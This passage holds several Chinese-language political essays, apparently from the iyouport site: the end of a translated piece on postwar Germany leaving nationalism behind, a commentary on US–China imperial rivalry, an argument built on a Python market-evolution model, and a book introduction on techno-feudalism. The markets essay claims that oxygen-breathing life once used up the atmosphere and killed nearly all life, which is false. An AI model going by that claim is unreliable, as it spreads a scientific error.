gewusst”（“我们对此[谋杀犹太人]一无所知”），西德公民在战后的头几十年里不厌其烦地重复的就是这句话。历史学家现在争论的是，是否有三分之一甚至一半的成年人口事实上知道大规模屠杀的存在，即使大多数学者承认，很少有德国人对奥斯威辛集中营有详细了解。

德国人在这里也分享了欧洲的命运，即使他们有最多的隐藏。已故的托尼·朱特（Tony Judt）在他的开拓性文章《过去是另一个国家：战后欧洲的神话与记忆》（1992年）中指出，几乎所有被占领的欧洲都在掩盖与纳粹霸主的合作关系。这不仅仅是一个遗忘的问题，就像人们有时假设的那样。相反，它涉及持续和有意识的隐瞒。毕竟，许多人（尤其是在犹太人占多数的东欧）都发了财—— 像人们所说的那样，穿着“犹太毛草”起床，并在现代历史上最伟大的强制房地产转让中占据了犹太人的房子。

由于所有这些原因，被称为祖国的牢笼并不容易离开，与其想象一把秘密的钥匙打开那扇门，不如跟随松开它的三个基本维度的艰苦工作更有意义：一个战争的国家、一个同质的国家、和一个掩饰的国家。

直到西德人可以离开这些心理模板，他们才能开始走出牢笼。幸运的是，在战后时代，德国得到了长期繁荣、移民增加和时间流逝的祝福。当这些因素与个人和机构的小的、往往是勇敢的步骤结合在一起时，这些因素使西德人最终能够拥抱和平、多样性和历史真相的事业：简而言之，走出那个被称为祖国的牢笼。

正如道夫·史腾贝尔格(Dolf Sternberger)在1947年所说的那样，“一个活生生的，而不是一个死气沉沉的祖国概念”的愿景在占领初期就已经奠定了。史腾贝尔格把自己名字中的“A”去掉了，他主张建立一个不同的国家，一个要求开放和参与的国家，但不以美化战争中的杀戮和死亡或边缘化和迫害他人而结束。国家是生命的源泉，是公民的守护者，而不是权力、扩张、战争和死亡的工具：这就是史腾贝尔格最初的设想。

这是一个西德人慢慢接受的德国概念，象征性地用福利国家取代战争国家，用军营和装甲车换取百货商店和高性能汽车。在1950年至1980年期间人均GDP基本翻了两番的天鹅绒式转型的推动下，德国人开始得出结论，他们最近的民主历史甚至比第三帝国的和平年代还要好得多。

当代的批评家们忘记了在战后不久的时期，这个牢笼是多么坚固和封闭，他们经常嘲笑这种对“全天候民主”的浅薄拥抱。然而，随着视野的开阔，我们现在知道，繁荣和没有战争，是全球向民主过渡的基

本前提，其中大部分是在战后时代发生的。

德国缓慢地摆脱武装国家的心态，对于它加入世界民主国家至关重要。但这种摆脱绝非易事。在这种情况下，对1944年7月20日试图刺杀希特勒但失败的保守派反抗者的纪念是有意义的。1951年，大约40%的德国人说他们支持抵抗者，而大约30%的人反对抵抗，其余的人对所谓的瓦尔基里行动一无所知或不确定。作为仍处于战争中的国家的典型认知，许多德国人的问题是担心在战时被视为叛国。这在男性中尤其如此。一半以上的德国男人认为，暗杀企图在道德上是错误的。即使在那些赞同暗杀的人中，也有相当多的人认为反抗者应该等到战后再行动。

这种全民皆兵的心态的持续存在，给联邦共和国早期最具争议性的问题之一蒙上了阴影：1955年，军队的重组。一个从教会组织到工会的广泛联盟出现了，对由此产生的德国社会的再军事化提出了警告。当军队将被恢复时，这些活动家们努力确保士兵成为“穿制服的公民”，准备拒绝明显不道德的命令。因此，在概念上，新的军队，即 联邦国防军，代表了对普鲁士和纳粹传统的拒绝。然而，在这支新成立的联邦国防军中，约有80%的军官曾经在纳粹德国的武装力量—— 国防军中服役。

国家武装的基本坐标依旧保持着 —— 正如它在第二次世界大战结束后的头四分之一个世纪里所保持的那样。然而，用军事历史学家迈克尔·霍华德的话说就是，欧洲人逐渐“发明了和平”，并开始认为战争是一种不自然的状态，不适合文明社会。

在战后的德国，出于良心拒服兵役是这种对和平的新重视的可靠指标。在联邦国防军成立的最初几年，几乎所有被征召的年轻人都来服役。但到了70年代初，申请依良心拒服兵役者的人数攀升到2万以上，并在整个70年代和80年代继续攀升，因此在统一前的两年里，申请人数接近8万人。

此时，德国的和平运动，对超级大国将两个德国变成武装营地的反应，已经削弱了所有军事事物在年轻人中的威信。到2000年，德国人是最不愿意拿起武器为国家而战的人之一：只有三分之一的受访者说他们会这么做。

对于那些从种族角度看待归属感并将国家视为种族同质单位的人来说，退出被称为祖国的牢笼的时间也更长。这第二次退出也比与德国军国主义历史的对抗开始得晚，而且具有讽刺意味的是，正是1961年8月13日柏林墙的建立有力地加速了这一过程。

隔离墙旨在结束东德合格的年轻人向西德的流失，它在短期内激起了民族的激情，但从长远来看却没有。下一代年轻的西德人将西德总理威利·勃兰特后来所说的“两个国家，一个民族”的解决方案视为永久性的。隔离墙还加速了西德引进外籍劳工（Gastarbeiter）的努力，因为来自东德的人大量涌入（1945年至1961年期间有300多万人）突然停了下来。

如果您错过了；

- 《柏林墙倒了吗？（*1*）：五味杂陈的卡巴莱》
- 《柏林墙倒了吗？（*2*）：条顿式媚俗和莱比锡翻页》
- 《柏林墙倒了吗？（*3*）：”我第一次感到害怕”》
- 《柏林墙倒了吗？（*4*）：种族的神秘性》

1982 年，在西德埃森，一个土耳其家庭前往土耳其过年

就像万花筒的转动一样，西德的民族结构开始发生变化，起初是缓慢的，然后是迅速的。1973年所谓的“工人招募禁令”旨在将外国人的涌入减少到最低限度，但实际上，来到西德的工人数量翻了一番，并鼓励他们带上家人。到1982年，西德仍在石油危机中挣扎，失业率徘徊在10%，该国的外国出生人口突然达到7.5%。几乎80%的西德人认为，现在有太多的外国人住在他们的国家。甚至60%认同新绿党的西德人也持有这种观点。

关于西德在多大程度上已经成为赫尔穆特·施密特（Helmut Schmidt）政府的外国人事务专员海因茨·库恩（Heinz Kühn）所说的“移民国家”，一场持续到今天的辩论已经出现了。库恩在1979年写道，一个不可逆转的局面已经发生，“那些愿意留下来的人……必须得到无条件的永久融合”。库恩备忘录，除了德国移民史专家之外，被所有人遗忘了，它有效地改变了辩论的基础 —— 不是是否应该允许外国工人留在德国，而是在什么条件下以及在什么支持下。它还推动了关于外国人在多大程度上不是客人而是 Mitbürger（同胞）的初步讨论。Heinz Kühn

在国家的生活中，小的开放可以产生深远的影响。在战后的这些年里，普遍的繁荣使德国人可以作为游客而不是士兵旅行，事实上，没有哪个欧洲大国能像西德那样向其他欧洲国家提供如此多的游客。更重要的是，繁荣继续吸引工人来到联邦共和国。到本世纪末，一个统一的德国将拥有比1950年多出八倍的外国人口；按百分比计算，2000年的外国出生人口与美国相差无几。

然而，无法说前几十年的孤僻已经消失，种族隔离仍然存在，反外国人的情绪继续毒害着私人和公共领域。事实上，在1990年的统一之后，它爆发了比以往任何时候都更大的暴力。从失业率高、前景暗淡、与外国人交往经验有限的东部城市开始，在霍耶斯韦达、德累斯顿、罗斯托克市雷希滕哈根和许多其他社区都发生了恶性的、往往是致命的反外国人暴力事件，并很快蔓延到西德。到1993年，反外国人的极端分子已经杀害了近50名非德国人，到那个十年结束时，已超过100人。

移民国家的概念是否像许多人警告的那样已经结束？最好的证据表明并非如此。

作为对杀人事件的反应，数十万德国抗议者（据估计超过一百万）走上街头，公开反对暴力。他们是各个年龄段、各行各业和政治派别的男人和女人们。许多人以前从未参与过示威。但他们想让世界知道，“这不是我们的身份”。这个 “我们” 对他们很重要。因为他们是在呼吁反对他们中间的仇外民族主义者，呼吁建立一个更加包容的国家。

到20世纪90年代末，这种普遍的呼吁开始转变为硬政策。2000年，新的公民条例反映了新的包容性语话，对出生地法律做出了重大让步，即 你是你出生地的公民，而不是德国较早的血统法，即 按血统定义的公民身份。几乎在同一时间，约有一百万移民成为德国公民。自1990年代中期以来，双国籍婚姻增加了一倍，占德国所有异性婚姻的7%以上。

然而，正如2016年难民危机中仇外民粹主义者的崛起所显示的那样，这个新的移民国家远非毫无争议的地盘。然而，在这里，也和20世纪90年代一样，为了公开展示宽容和伸出援助之手而站出来的德国人的数量是值得称赞的。

然而，最显著的转变是第三种：德国如何面对它的过去。它并没有立即面对它。当然，我们可以说，直到主要的战争审判结束，财产的归还得到规范和解决，才有可能开始真正的、诚实的面对过去。按照这种逻辑，人们可能会期待在50年代末和60年代初的审判之后，对国家社会主义历史的兴趣会激增。但在1960年代末，热情的信念，而不是耐心的重建，是当时的秩序、政治意识形态，而不是深化的历史分析，往往掩盖了洞察力。断言对国家社会主义时期的严肃和持续的兴趣在60年代末没有起飞，相反，正如一位领先的西德历史学家所描述的70年代，“第二次遗忘” 开始了，这一点仍然有争议。

一种不强调1960年代末的突破的解释认为，转折是在1970年代末和80年代初，因为有四个事件汇集在一起。

首先是1978年的1938年11月大屠杀（水晶之夜）40周年；它带来了大量的纪念活动，尤其是在西德的大城市。第二次是美国电视迷你剧《大屠杀》（1979）的播出。多达2000万德国人，主要是在联邦共和国，看到了它的某些部分，它的叙事结构使他们认同主角 —— 由梅丽尔·斯特里普扮演的无畏的因加·赫姆斯·韦斯，她嫁入一个犹太家庭并尽其所能地拯救他们。第三个事件，较少被讨论，是关于纳粹罪行时效的长达20年的辩论的结束，西德议会进行了激烈的投票——255票赞成取消这种法律盾牌，222票反对—— 允许西德当局继续追捕犯有谋杀罪的纳粹分子。最后，第四个事件是：1981年为高中生举办的全国性大型作文比赛，有大约13000份以 “国家社会主义的日常生活” 为主题的材料。

这四个事件的汇合产生了海啸般的效应。相关研究在学校和社区飙升。在全国范围内，数以千计的学校教师、档案员、退休人员、感兴趣的市民和学校学生挖掘当地记录，研究在他们自己的社区发生的事，通常与曾经居住在这些城市和城镇，现在在以色列、法国、英国、阿根廷或美国的犹太人合作。

突然间，早先几十年所缺少的耐心的纪念工作正在报复性地进行着。人们修复了犹太教堂，曝光了曾经被用来安置强迫劳动者的废弃兵营，并在整个德国乡村发现了数以百计的集中营分营。他们举行演讲，撰写文章，出版书籍。德国几乎没有任何一个人口超过 20,000 的城镇以及犹太人曾经居住的地方现在不知道当时发生了什么，以及生活在那里的犹太人的命运如何 —— 前犹太Mitbürger(公民)，正如许多德国人现在开始称呼他们的那样。

德国如何面对它的过去的故事经常被讲述，最近的一次是苏珊·尼曼的书《向德国人学习：种族与邪恶的记忆》（2019）。而不太常见的是将其同德国与军国主义历史的对抗以及其向移民国家的转变结合起来的分析。正是这三种试图重新构建德国的方式的汇合 —— 使其成为一个和平的国家、一个移民的国家和一个真实的国家 —— 使德国人能够退出基滕霍夫所称的祖国的民族主义牢笼。

诚然，这个比喻并不完美。总的来说，德国人并没有通过离开他们身后的国家而离开那个牢笼；总的来说，他们并没有成为世界主义者或欧洲人，即使这是一些人的道路。在2001年的一项民意调查中，当德国人被要求在各种身份中做出选择时，绝大多数人（约75%）选择了 “德国人” 而不是 “欧洲人” 或 “世界公民” 作为他们的主要身份。这些

民意调查表明，德国人通过成为更好的德国人而走出了牢笼。他们试图抛弃的不是他们的国家，而是他们的民族主义。

当然，还有更多的路要走。但是，借用诗人罗伯特·弗罗斯特的话说，许多战后的德国人甚至已经开始走上这条 “少有人走的路……已经使一切变得不同”—— 不仅对德国，对其他寻求走出民族主义牢笼的国家也是如此。〇

Exit the Fatherland

原文

超越高堡奇人：在美中的帝国争霸之上 - iyouport

为自由而战系列（完成）关于高堡奇人社会反抗和思考

【 2019年5月30日存档】这是帝国争霸战。人们从一开始就应该意识到这点。

我们一直在强调“高堡奇人” —— 美国和中国的关系是帝国争霸，其中没有人民的利益，正相反是以人民的利益为代价。

IYP 的分类知识列表中将“高堡奇人”标记为*最重要的地缘政治* —— 因为它是本世纪中心级的帝国争霸战。

帝国是一种不应该存在的东西。如果一直处于高堡奇人的世界，不论支持任何一方都是99%的损失。唯一的胜利者是那1%。

中美贸易谈判的崩溃给全球资本主义体系带来了冲击波。

此前几乎每个人都预计会达成一项协议，包括特朗普自己，他曾预测这将是“史诗般的”。

当这一切都失败后，他将失败归咎于中国，并将低强度的贸易战升级为全面爆发。

随着挑战的逐渐减弱，北京宣布对价值600亿美元美国商品的关税税率从10%提高到25%。国家电视台的一位发言人警告说：“如果美国想谈谈，我们的大门是敞开的。如果美国想要战斗，我们将与他们一起战斗到最后。”

贸易战的威胁吓坏了全世界的投资者。

在世界各地的股票市场大规模抛售中，他们从账面上抹去了一万亿美元。

像苹果和波音这样严重依赖中国并且首次受到新关税影响的美国跨国

公司遭受了特别严厉的打击。

这两个帝国本月晚些时候可能在北京举行会谈，或者6月底在日本大阪举行的G20峰会上达成什么协议。

但是，无论他们是否达成任何协议，两国之间日益加剧的冲突都不会减弱；这是**21**世纪帝国争霸战的中心。

特朗普提出的是中国永远不会满足的要求。特朗普的定义是对的，中国是一个国家资本主义大国，目标是推动其作为帝国的崛起，并挑战美国的全球霸权。

中国认为美国的要求是源于华盛顿企图捍卫其全球统治地位、侵犯中国的国家主权，并阻止其重新成为世界强国。

这种帝国对抗正是美国自冷战结束以来所寻求避免的。

它采取了一种强有力的新自由主义世界秩序战略，将其他国家纳入其中，承诺实现“双赢”全球化，在此过程中选择任何潜在的同行竞争对手，并通过制裁对所谓的无赖国家实施政权更迭。

作为这个项目的一部分，美国采取了一项针对中国的政策，将参与和遏制结合到许多人所称的“遏制- 接触战略 congagement”中。

它提供给北京以胡萝卜，就如加入世界贸易组织，条件是接受新自由主义规则。但也同时通过整个亚太地区的海军巡逻和军事基地挥舞着军事力量。

华盛顿与北京达成协议，允许美国跨国公司将生产分包给中国的企业，这些企业利用该国廉价劳动力生产苹果 iPhone 等产品。

在此过程中，北京从经济疲软转变为世界第二大经济体。

在中国上升的同时，美国相对下降。由于将无数人的生命和资金投入到阿富汗和伊拉克的徒劳战争中，经济受到大萧条的破坏，并陷入政治两极分化和华盛顿的瘫痪之中。

当然，美国仍然是世界上唯一最大经济体，拥有最强大的军事力量，并因此依旧是具有最大地缘政治影响力的超级大国。

但华盛顿的相对衰落为中国打开了通向新帝国的大门。

习近平就是这样做的：他放弃了他的前任“和平崛起”的大战略，并采用了他称之为“中华民族复兴大梦”的新战略，旨在迫使世界其他国家承认北京是一个强大的力量。

中国推出了价值1万亿美元的“一带一路”项目，旨在发展交通基础设施，将中国与欧洲、亚洲和非洲经济融为一体。

他还推出了“中国制造2025”项目，该项目将国家资金投入到高科技公司，使其成为能够与美国和欧洲竞争对手竞争的冠军。

中国对其军队进行了现代化改造，特别是其海军，专门用于对抗美国。它在整个南海和东海的岛屿上建立了军事基地，以控制以前受美国监管的战略航道，声称其拥有渔业、海底的石油和天然气。

中国还在非洲之角的吉布提建立了第一个海外军事基地，毗邻通往苏伊士运河的主要航道。

五角大楼警告说，这只是一个开始；它声称，中国将通过“一带一路”建设项目建设一个完整的基地网络，以与美国竞争。迄今为止，美国几乎垄断了所有这些军事前哨。

因此，华盛顿的“遏制- 接触战略”政策适得其反，无意中帮助了中国成为同行竞争对手。

特朗普夺取总统职位的承诺是，他可以“让美国再次伟大”，并以新的经济民族主义战略打败中国。

特朗普的“put America first” 绕过多边机构，以交易方式对待盟友，甚至对加拿大和欧洲征收关税。

在他的国家安全战略中，特朗普淡化了所谓的反恐战争，专注于对抗强大的竞争对手，特别是中国和俄罗斯。

特朗普国防部警告说，美国军工集团对中国供应链的依赖是对国家安全的威胁。

为了解决这个问题，国防部主张联邦政府制定一项产业政策来重建其国内制造业基地，并规定任何离岸军事生产都要从中国转移到盟国。

特朗普还特别指出中国的高科技产业是对国家安全的威胁，特别是华为，后者正在全球领导5G网络的建设。

将注意力集中在华为身上是错误的，华为只是帝国争霸的道具之一，并无关“安全”问题 —— 如果你读过斯诺登文件并拥有基本价值观的话就能明白：所有后门都危及安全，而中美争的并不是*有没有后门*，而是*谁来掌握后门*。

特朗普的经济民族主义给美国资本带来了两难境地。其跨国部门仍然致力于美国国家监督自由贸易全球化新自由主义秩序的旧战略。

但他们对中国的国家资本主义感到沮丧，特别是其盗窃的知识产权估计每年使美国公司损失高达6,000亿美元。

这就是为什么美国商会调查的大多数公司支持特朗普的关税政策，迫使中国加入新的贸易协议。

帝国官僚机构中的政治阶层、国家管理者、以及资本主义政党也在特朗普后面排起了长队。共和党人，以前是自由贸易的热心倡导者，现在已经陷入困境。

民主党从其企业领导层到其持续不断的持不同政见者，要么保持沉默 —— 因为害怕失去被特朗普保护主义诱惑的选民，要么放弃了权利 —— 要求他在谈判中采取更加强硬的立场。

新自由主义前副总统乔拜登除外。他淡化了中国构成的威胁，向人们保证美国至高无上的地位，并挑战特朗普的对抗态度，特别是他的关税。他夸口说：“中国要吃我们的午餐？来吧，伙计……他们不是坏人，他们不是我们的竞争对手。“

关联：《乔治拜登的儿子投资中国’老大哥’监视技术》

然而，大多数民主党人采取了自由民族主义立场。参议院少数党领袖 Chuck Schumer 在推特上写道：“总统先生，要对中国坚持不懈。不要退缩。实力是赢得中国的唯一途径。”

作为亲资本主义进步人士的参议员伊丽莎白沃伦宣称，“中国武器化其经济”，同时她承诺通过保护主义立法和重新谈判的贸易协议挽救美国的就业机会。

自称为社会主义支持者的参议员伯尼·桑德斯（Bernie Sanders）当然不会被排除在外，他因为对中国的软弱而抨击拜登，并承诺他将更好地领导美国与中国的斗争。

像特朗普内阁中的彼得·纳瓦罗（Peter Navarro）和像史蒂夫·班农

（Steve Bannon）这样的强硬民族主义者正在推动美国资本与中国脱钩。

「顺便透露一个内幕消息，几个月前，中国国社内部组织“学习”史蒂夫·班农的讲话 —— 请注意真的是史蒂夫·班农，他的演讲全文中文版，在国社内部会议中被全文朗读。没错，目标是民族主义，而非其他」

像白宫经济顾问拉里·库德洛（Larry Kudlow）这样的其他人有意通过强制达成协议来开放中国以进一步投资，但很难相信北京会同意这些条款。

与此同时，脱钩开始发生。跨国公司担心贸易战，也对中国的政策感到沮丧，不愿意支付中国劳动力成本的上涨，开始将生产转移到像越南这样的低工资国家，以及像墨西哥这样的靠近家乡的国家。这是纽约时报说的。

中国也可能开始重新调整经济，避免依赖美国而独立发展自身能力和与其他国家的关系。许多中国公司都在谈论“中美共同体”的终结。

中国民族主义者，尤其是军队中的民族主义者，渴望推动这种分离。“经济学人”指出，“习近平看到了对中国气概的考验”。去年9月习宣称，“保护主义使得从国外获取重要技术变得困难。中国必须走’自力更生的道路’。“

这可能会在国家资助的资本主义发展道路上翻倍，就像中国制造2025一样，它已经引发了美国国家和华盛顿的骚动。它还将尝试通过BRI寻找替代投资场所、其他所需商品的来源、以及其产品的其他市场，尤其是欧盟。

特朗普只是对伊朗实施制裁，禁止购买石油，中国是该国原油出口的最大购买者。作为回应，北京要求特朗普收回政权更迭的威胁，参与多边会谈以维护核协议，并放弃对石油的制裁。

与此同时，美国和中国经济的相互依存、贸易或地缘政治冲突不断升级的威胁可能会对世界经济造成损害，可能会促使特朗普和习近平退缩。

他们完全有理由担心这一点。尽管两位领导人都吹嘘自己的经济，但两者都很脆弱。

中国的经济增长继续放缓，其加速的努力已经在整个体系中累积了大

量的债务和大规模的产能过剩；无论特朗普的助推主义如何，美国经济都面临着投资不足、生产力低下、公共和私人债务庞大、以及劳动力参与率过低等潜在问题。

两国都不希望贸易战和地缘政治冲突使他们陷入衰退。

与此同时，美国和中国都无法被视为在谈判桌上屈服的人，尤其是双方民族主义阵营一直不断为更加激烈的对抗而努力。

这种压力只会在经济放缓或更大的地缘政治对抗的情况下增长，特朗普和习近平作为极端民族主义者将毫不犹豫地将他们的国家团结在他们身后。

然而，即使在这种情况下，他们也可能会试图避免任何争议失控导致冒着军事对抗的风险，比如核战争的风险，双方都希望避免这种对抗。

因此，美中的竞争可能会继续以地缘政治和地缘经济竞争的方式表达。

新的社会主义运动必须对美国和中国采取明确而有原则的反帝国主义立场。

必须反对特朗普的民族主义和保护主义；也应该反对中国国家。

北京声称自己是社会主义者是可笑的；中国只是一个利用其工人阶级的资本主义独裁政权。

中国与美国竞争的是帝国主义的势力，争夺世界市场的主导地位。

新社会主义运动不应在中国和美国这两个帝国之间徘徊，而是应建立在高科技工作者的先例之上，他们已经组织了对谷歌的国际罢工运动，并组织了对中国反996工人维权的支持。

在全球化的资本主义经济中，这种工人阶级的团结是结束帝国间争霸并以国际社会主义取而代之的唯一途径。

The new socialist movement must adopt a clear and principled anti-imperialist position against both the U.S. and China.

原文

达尔文式自由市场的结果是什么 - iyouport

社会反抗和思考

正如这个模型所说明的，企业之间的 "适者生存" 将导致所有人的灭绝。

为理解这篇文章，建议您首先读懂这本书的介绍《外表是骗人的》。

我们的战略必须瞄准系统本身，否则无法成功 —— 任何主题的反抗斗争都是如此。

市场 —— 特别是资本主义的那种 —— 经常被想象成生态系统。公司，就像狼、蛤蜊或藻类一样，被锁定在一场持续的生存斗争中。找到你的 “利基”，发展你的业务，超越你的竞争对手，吞噬你的猎物，否则你就会灭亡。“如果你不是猎手，就只能是猎物”。

尽管这种达尔文式的资本主义画像具有野蛮性和非人道性，但其最热心的捍卫者却经常将这种非人道性描绘成资本主义的最大力量。弗里德里希·哈耶克（20世纪右翼自由主义经济学家）或艾茵·兰德（以反福利倾向而闻名的作家和哲学家）模式的社会达尔文主义者长期坚持认为，市场的 “适者生存” 性质比非市场的替代方案更能满足人类需求。社会达尔文主义者说，随着企业在不断发展的商品销售竞争中战斗，消费者的愿望和需求会以越来越有效的方式得到满足。最近在2015年，波士顿大学的经济学家发表了一篇文章，论证了这一点 —— 鉴于一旦你将市场视为达尔文的生态系统，资本主义的隐患就会变得非常明显，这是很值得注意的。

为了证明为什么达尔文式的自由市场倾向于（或将倾向于）失败，这里有一个用 Python 写的非常基本的资本主义进化模型。请记住，这只是一个模型；是在试图模仿和探索对自由市场的一种流行理解的后果。它不应被误认为是对现实世界的预测或描述性表述。

你可以在这里找到这个模型。

这个模型是这样工作的：每一代人（想想达尔文的格斗俱乐部）都会

产生一万个模拟的公司，所有这些公司的 “DNA” 都略有不同。有的可能更无私，有的更自私；有的可能痴迷于开采自然资源（在模型中被标记为 “采掘”—— 想想疯狂采矿或砍伐树木），而其他的则通过从社会中剥夺财富（在模型中被标记为 “剥削”—— 想想削减福利、公用事业私有化、或卖掉公共道路）。在每个周期结束时，最成功的公司将其 “基因” 传承下去，而其他公司则灭亡。一句话：适者生存。

到目前为止，这个模型与市场-达尔文主义的观点完全吻合（只是有点简化）。在这一点上运行它显示了明显的情况；最有利可图的公司（采掘类）成功了，而无私的和剥削的公司都失败了。

虽然不是很理想，但这样的系统并不可怕。如果有无限的资源，该模型表明，企业将仅仅学会从自然界中提取更多的资源—— 也许永远不会无私地奉献给社会，但也不会大量地索取。

当然，我们离拥有无限的资源还有很大一段距离。因此，为了使其更加有用，让我们添加一个重要的因素：稀缺性。世界毕竟是有限的，而生态系统在崩溃之前只能维持有限数量的开采。为此，下一个模型从设定的资源量和设定的生态恢复率（即 橡树在被砍伐的森林中重新生长的速度）开始。随着时间的推移，该模型还将这些模拟资源中的一部分积累到一个 “社会基金” 中，旨在模拟国家资源（学校、道路、福利），由每个公司的 “无私” 特质决定。每个公司实体随着时间的推移从总资源中减去，并将适应优先提取（从自然界获取资源）、剥削（耗尽社会基金）或无私（将其财富的某些部分返回社会基金）。让我们看看这创造了一个什么样的世界。

你可以看到，其结果是灾难性的。首先，企业开采自然资源的速度迅速超过了这些生态系统的补给能力。这导致自然和社会资源随着时间的推移全面崩溃。另外，每个公司的 “无私” 程度急剧下降，因为他们学会了从社会基金中提取资金，而不是向其支付。如果这发生在现实世界中，这将是一场灾难，其破坏性是不可理喻的。想象一下，每棵树在有机会传播其种子之前就被砍掉了。想象一下，随之而来的是每一项公共事业 —— 学校、高速公路、火车站—— 都被私有化，被剥去铜线，任其在一个没有生命的世界里摇摇欲坠。

虽然有些人坚持认为自由市场是解决气候危机和生态崩溃的办法，但这个模型显示了相反的情况。自由主义者坚持认为创造最佳企业效率的达尔文选择也要求这些企业从事超短期的思考。不管是在模型中还是在现实中，如果你的公司的可持续发展实践将在30年后带来更大的利润，那么更多的采掘者和不太认真的资本家将利用他们的短期收益

来收购你，垄断你的市场，使你的业务非法化，或者明天偷走你的消费者，这并不重要。必须强调的是，道德在这里没有地位。在达尔文模型中，一个消耗资源减少污染、保护长期资源或关心社区的公司将不可避免地被自私的竞争对手所淘汰—— 你可以在上图中看到这个过程。

在自然界，这种过度增长的问题在过去曾造成过灭绝。例如，20亿年前，呼吸氧气的生命的崛起耗尽了地球的大气层，显然摧毁了地球上99%的生命。由于呼吸二氧化碳的生命和呼吸氧气的生命之间没有平衡，氧气供应变得如此稀缺，以至于地球上几乎所有的生命都被窒息。事实上，地球历史上的生态稳定期总是依赖于难以置信的复杂性和多样化（这减轻了任何一个物种的成功）。这些正是我们当下日益垄断的各种资本主义正在尽职地扼杀的特征。

这个模式所模拟的那种过度开采已经在发生了。世界各地的野生渔业（仅举一例）不仅被开采的速度超过了它们能够恢复的速度，而且正在被完全耗尽。在世纪之交，纽芬兰的鱼类资源从1960年的年捕捞量80万吨下降到1991年的不足10万吨。这种突然的崩溃远不是渔业公司可以学会从可持续发展的做法中获利的逐步转变，而是迫使政府进行大规模干预，禁止捕鱼，并导致当地经济急剧和突然的萧条。这个故事并不独特；联合国报告说，世界上超过三分之一的渔业已经枯竭。

30多年来，當娜·麦舀 (Donella Meadows)项目（以已故生态学家和专栏作家的名字命名）一直在评估剩余的生态系统，并试图量化它们还能维持我们目前的经济体系多久。她的报告以 “增长的极限” 为题，发出了越来越可怕的警告：目前的生产和消费速度将不可避免地导致生态崩溃。到那时，企业（或人）要想拯救采掘财富的来源就太晚了。换句话说，一旦维持比开采更有利可图，那么做任何一件事都将为时已晚。

简单地说：如果资本主义市场真的是达尔文式的，那么很明显，它们选择了超短期的的和采掘性思维，如果不加控制，最好的情况是导致大规模的生态崩溃，最坏的情况是导致人类灭绝。一个真正达尔文主义的自由市场经济学方法只会得出这样的结论：有太多太多的自然选择在起作用。

对于非采掘形式的资本主义是否可能存在，以及它们是否能够在自由市场上超越传统的采掘业，也许还有讨论的余地。话虽如此，但最近关于NFT和加密货币的巨大碳成本的披露，使得这种转变似乎不太可能。

虽然上述情况肯定是真实的（而且对理解我们当前的时刻至关重要），但这并不是一个新的想法。英国著名的自然学家大卫·艾登堡（David Attenborough）几十年来一直在说“在一个有限的星球上，无限的增长是不可能的”的某种变化。就是说，这个模型确实提供了一个额外的见解。如果我们看一下模型中社会财富的积累和最终耗尽，也许可以从另一个角度来看待一直难以界定的“新自由主义”。

苏联解体后，其庞大的中央集权基础设施被私有化、清算，或者干脆被拆开，卖掉零件。在苏联特工（包括弗拉基米尔·普京总统）的叛逃和西方资本的干预下，前苏联各共和国向公民个人发行了国有企业的股票，他们出于绝望或被误导而出售股票，导致完全私有化。在模型中，这将被形象化为对社会财富的突然剥削。事实上，随着自然资源的供应从模型中流失，类似的社会剥削策略（如对苏联国家的掠夺）在模型中变得流行，并最终完全超过了自然资源的开采，如下图所示。

为了维持和增加利润，在达尔文式自由市场的斗争中生存下来，需要从社会本身而不是从自然界中提取利润 —— 资产剥离、私有化和剥削任何可能的东西，以便在竞争中获得优势。想象一下，每条高速公路都变成了收费公路，每所学校都变成了私立学校，每座公园都被卖给了开发商，每盏路灯都被剥去了铜线，因为企业被锁定在一场达尔文式的斗争中，从一个垂死的世界中榨取每一分钱。毕竟，如果市场是真正的达尔文主义，这种转变不是一种选择，而是一种不可避免的结果。

在资本主义生态系统中，剥削、榨取和自私是生存的要求；在这种模式下，期望企业有不同的行为，就像期望狼变成素食者。

如果是这样，如果这个模型所预测的战略转变真的发生了，我们就可以把新自由主义理解为当自然界开始枯竭时，企业转向利用社会财富（福利、公共事业等），而不是开采自然资源的趋势。

新自由主义可能不仅仅是一个放松管制和私有化的制度，它的人类代价令人难以置信 —— 它可能是我们最后的警告，资本主义的“好时光”即将结束。如果我们不采取行动结束“自由市场”，它首先选择生态破坏，然后选择社会剥削，最后选择大规模灭绝，化石和计算机模型可能是我们唯一的遗产。〇

Darwinism and Markets Don’t Mix

原文

逃离技术封建主义的世界 - iyouport

免费书和纪录片社会反抗和思考

“资本主义和竞争是对立的。竞争是为失败者准备的”

【按】3年前，我们发布过另一本书，Yasha Levine 的《监视谷》，它揭露了这个互联网的起源：“互联网曾经是一种武器，现在仍然是武器”。这本书希望警告人们，在修复上投入的一切都是无意义的，它只能让你陷入无边无际的猫鼠游戏中，永远在逃亡的路上。

热门美剧 “prison break” 中有一句著名的台词，Alexander Mahone 说，“我成功地追捕到很多世界上最可怕的人，连环杀手、强奸犯、抢劫犯，我让他们无处可逃。但最终，我却被一个结构工程师打败了。因为他没有逃跑，他原地反击了”。

原地反击，可能是唯一的办法。

我们介绍的所有安全知识和保护技巧都建立在寄生的角度上，让我们能在这个危机中存活下来；但这绝不是目的地。然而，只有先让自己活下来，才有机会实现真正的反击。反击才是战略。这也正是 “寄生虫的反抗艺术” 中所强调的。

今天介绍的这本书与3年前的《监视谷》不同，它从另一个角度上挖掘监视资本主义的起源，揭露了一个流传甚广的神话 —— 自发的市场力量只是谎言。尤其是，它对反抗的激励超越 Zuboff，值得我们所有人思考。

遗憾的是，这本书目前为止只有法语版，但我们依旧上传一下，给能阅读法语的朋友提前欣赏。希望不久后能有英文版出现。此外还有相关的另一本书，可以帮助您理解这本新书中的政治经济学思考，我们同时上传它；以及一篇论文《当数据作为资本》。您可以在这里下载：https://www.patreon.com/posts/tao-chi-ji-zhu-49572380

数字时代的政治经济实际上仍然是一个未知的领域。在2020年9月于法国出版的《Techno-Feudalism》一书中，巴黎索邦大学的经济学家

塞德里克·杜兰德（Cedric Durand）对控制我们所有人生活的新矩阵进行了剖析。

杜兰德将数字时代置于资本主义历史演进的大背景下，展示了华盛顿的共识如何最终转移到硅谷的共识中。他称其为“加州意识形态”。

很遗憾这并不是杰斐逊飞船或海滩男孩，它更像是熊彼特的“创造性破坏”，完成了国际货币基金组织式的“结构性改革”，强调工作的“灵活性”和日常生活的彻底市场化/金融化。

数字时代从一开始就与右翼意识形态有着至关重要的联系。位于华盛顿特区的美国市场导向型智囊团PFF基金会提供了孵化的机会，该基金会从1993年到2010年都很活跃，并且方便地得到了微软、At&T、迪斯尼、索尼、甲骨文、谷歌和雅虎等巨头公司的资助。

